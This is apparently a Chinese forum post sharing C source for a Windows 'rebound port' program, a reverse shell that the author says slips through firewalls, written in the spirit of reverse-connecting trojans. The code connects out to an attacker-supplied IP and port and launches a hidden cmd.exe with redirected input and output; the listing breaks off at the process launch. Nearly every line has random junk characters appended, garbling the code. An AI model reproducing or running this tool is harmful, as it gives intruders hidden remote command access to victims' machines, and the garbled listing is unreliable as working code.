这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #Nv)SCc
BW{&A&j
/* ============================== Uy;e5<<
Rebound port in Windows NT +2Wijrn
By wind,2006/7 H^JwaF
===============================*/ )9~-^V0A^>
#include %"=qdBuk
#include vE$n0bL2
>pj)va[Q
#pragma comment(lib,"wsock32.lib") <F&53N&Zc
R.)w
l
void OutputShell(); met`f0jw
SOCKET sClient; Y<)9TU:D!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rZkl0Y;n\
wdLlQD
void main(int argc,char **argv) qt,;Yxx#^
{ D]*<J"/]d
WSADATA stWsaData; jImw_Q
int nRet; h$_5)d~
SOCKADDR_IN stSaiClient,stSaiServer; =q"o%dc`R
1Farix1YDq
if(argc != 3) ^#p+#_*V
{ K<~J*k<v
printf("Useage:\n\rRebound DestIP DestPort\n"); O]-s(8Oo3
return; x!;;;iS
} $Y=xu2u)
5"^Z7+6
WSAStartup(MAKEWORD(2,2),&stWsaData); [`_-;/Gx2
?a{es!
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9 6j*F,{
!UF(R^
stSaiClient.sin_family = AF_INET; tJ9-8ZT*
stSaiClient.sin_port = htons(0); x>eV$UJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bTJ l
=DLVWz/<
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
cFV3
{ ' "I-! +
printf("Bind Socket Failed!\n"); nf)y_5y
return; S0jYk (
} qN@0k>11?
p{W'[A{J .
stSaiServer.sin_family = AF_INET; `HV~.C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1azj%WY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A#x_>fV
m={TBV,L
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H?$gHZPI
{ I6.}r2?;A
printf("Connect Error!"); -0:Equ?pz
return; Eq/oq\(/6
} Tt+E?C%Y
OutputShell(); gf^XqTLs
} "|6763.{4
{L.=)zt>
void OutputShell() !r %u@[(
{ ~%Xs"R1c,
char szBuff[1024]; L2`a| T=
SECURITY_ATTRIBUTES stSecurityAttributes;
7>!Rg~M
OSVERSIONINFO stOsversionInfo; l2
mO{'|C
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3.E3}Jz`
STARTUPINFO stStartupInfo; 2Wp)CI<\D
char *szShell; g#s hd~e
PROCESS_INFORMATION stProcessInformation; z=pGu_`2
unsigned long lBytesRead; ! w2BD^V-
MVXy)9q
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v|@1W Uc,g
,; k`N`#'
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /^Ng7Mi!
stSecurityAttributes.lpSecurityDescriptor = 0; ![3l
K
stSecurityAttributes.bInheritHandle = TRUE;
%mr6p}E|
vD3j(d
SU>cJ*
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _8ubo\M~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oa2v/P1`
Pt[ b;}
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L6n<h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5rlZ'>I.
stStartupInfo.wShowWindow = SW_HIDE; s8|Fe_
stStartupInfo.hStdInput = hReadPipe; t;L7H E@Y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d[$YTw
O#3PUuE%d
GetVersionEx(&stOsversionInfo); f0]`TjY
r0j+P%
switch(stOsversionInfo.dwPlatformId) ' T%70)CM~
{ Ot([5/K
case 1: tr-muhuK
szShell = "command.com"; Dh.pH1ZY3n
break; Eq6.
s)10
default: ,*j@Zb_r
szShell = "cmd.exe"; /6yH ,{(a
break; 'm|PSwB7
} z\r29IRh
At)\$GJ
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m(p0)X),_i
:!<